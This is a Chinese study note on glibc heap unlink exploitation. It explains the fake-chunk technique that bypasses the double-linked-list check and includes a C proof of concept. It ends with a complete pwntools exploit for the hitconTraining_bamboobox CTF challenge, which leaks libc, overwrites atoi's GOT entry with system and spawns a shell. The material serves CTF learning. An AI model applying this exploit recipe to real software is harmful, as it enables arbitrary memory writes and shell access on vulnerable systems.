PWN 堆利用 unlink 學習筆記
chunk合并
chunk結構體大致如下:
struct chunk{ size_t prev_size; size_t size;//低3位不算在size里面 union { struct { chunk* fd; chunk* bk; }; char userdata[0]; }}
size的低三位表示為:

這里會用到 PREV_INUSE(P): 表示前一個chunk是否為allocated。
P位為1時代表物理相鄰的前一個chunk為free狀態,此時prev_size代表前一個chunk的大小。
非fastbin的chunk在free時會與物理相鄰的空閑chunk合并。
unlink漏洞
非fastbin中的chunk使用的是雙向鏈表,使用chunk的fd、bk鏈接
設需要unlink的指針為P,在unlink時,進行如下操作:

高版本的libc會檢測BK和FD的指針是否指向P:
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
偽造一個fake_chunk,繞過unlink的檢測,即可任意地址寫。
漏洞利用
1.設有相鄰的兩塊chunk,p,f,使得f,free后不進入fastbin(chunk size>0x80)。
2.在p中創建一個偽造chunk塊fake_chunk,使p->Fd= &p-3*sizeof(size_t);p->bK= &p-2*sizeof(size_t)。
3.修改f的chunk頭,使prev_size=fake_chunk_size, PREV_INUSE = 0。
4.free(f),這時glibc查看f的chunk頭,發現f的上一個chunk是free狀態,就把上一個chunk(p)拿來合并。

此時正好滿足glibc檢測條件,unlink后,先執行p=&b;再執行p=&a; 最后結果就是p指向a的首地址,從而控制了從a到p的地址(假如a可寫)。
實驗
直接上代碼:
#include <stdio.h> size_t* a = NULL;size_t* b = NULL;size_t* c = NULL;size_t* p = NULL;size_t* f = NULL; int main(){ p = malloc(0x80); f = malloc(0x80); malloc(0x10); //set f->PREV_INUSE = 0 p[17] = 0x90;//*(f-1) = 0x90; //set f->prev_size = 0x80(fakechunk size) p[16] = 0x80;//*(f-2) = 0x80; //fakechunk p[0] = 0; p[1] = 0x81; p[2] = &a; p[3] = &b; //unlink free(f); if(&a == p) { printf("hack!!!!\n"); p[0] = 0x11111111; p[1] = 0x22222222; p[2] = 0x33333333; p[3] = 0x44444444; printf("a = %p\n", a); printf("b = %p\n", b); printf("c = %p\n", c); printf("p = %p\n", p); } return 0;}//gcc -g test.c
/*多申請一塊chunk,防止合并到top chunk里面*/
假設我們只可以控制p、f的申請,釋放,寫入,unlink后p的地址可控,即可任意地址寫。

總結公式
feak_chunk->Fd = &p - 3*sizeof(size_t);
feak_chunk->Bk = &p - 2*sizeof(size_t);
f->PREV_INUSE = 0;
f->prev_size = chunk_size(feak_chunk);
free(f)
p[3] = 需要覆蓋的地址()
printf("%s",p) 泄露需要覆蓋的地址
p[0] = system
調用需要覆蓋的地址()拿shell
一道題 hitconTraining_bamboobox
程序功能就是堆的增刪改查。

add:

change()函數沒有檢測chunk的大小,可以溢出到下一個堆塊,覆蓋chunk頭。

show()用來泄露glibc。

套用公式的exp。
from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c']context.log_level = 'debug' sh = process("./bamboobox")#gdb.debug("./bamboobox")bambooboxElf = ELF("./bamboobox")libcElf = ELF("/lib/x86_64-linux-gnu/libc.so.6") def pause_debug(): try: raise Exception except: f = sys.exc_info()[2].tb_frame.f_back debug("pause_debug [%d]" %f.f_lineno) pause() return def show(): sh.sendlineafter(b"Your choice:", b"1") def add(length, name): sh.sendlineafter(b"Your choice:", b"2") sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode()) sh.sendlineafter(b"Please enter the name of item:", name) def change(index, length, name): sh.sendlineafter(b"Your choice:", b"3") sh.sendlineafter(b"Please enter the index of item:", str(index).encode()) sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode()) sh.sendlineafter(b"Please enter the new name of the item:", name) def remove(index): sh.sendlineafter(b"Your choice:", b"4") sh.sendlineafter(b"Please enter the index of item:", str(index).encode()) add(0x40, "aaa")add(0x80, "bbb")add(0x80, "ccc") # .bss:00000000006020C0 ; Box itemlist[100]index1_p = 0x00000000006020C0 + 8 payload = flat([ p64(0), #feak_chunk->prev_size p64(0x41), #feak_chunk->size p64(index1_p - 3*8), #feak_chunk->Fd = &p - 3*sizeof(size_t); p64(index1_p - 2*8), #feak_chunk->Bk = &p - 2*sizeof(size_t); b'a' * 0x20, #feak_chunk->user_data p64(0x40), #f->prev_size p64(0x90) #f->size ])change(0, len(payload), payload)remove(1) payload = flat([ p64(0) * 3, p64(bambooboxElf.got["atoi"]) #p[3] = 需要覆蓋的地址()]) change(0, len(payload), payload)show() #printf("%s",p) 泄露需要覆蓋的地址sh.recvuntil("0 : ")libc = sh.recv(6).ljust(8,b"\x00")libc = u64(libc)success("libc:%x" %libc)libcBase = libc - libcElf.sym["atoi"]success("libcBase:%x" %libcBase) change(0, 8, p64(libcBase + libcElf.sym["system"])) #需要覆蓋的地址(atoi_got)=system# pause_debug()sh.sendlineafter(b"Your choice:", b"/bin/sh") #調用system拿shellsh.interactive()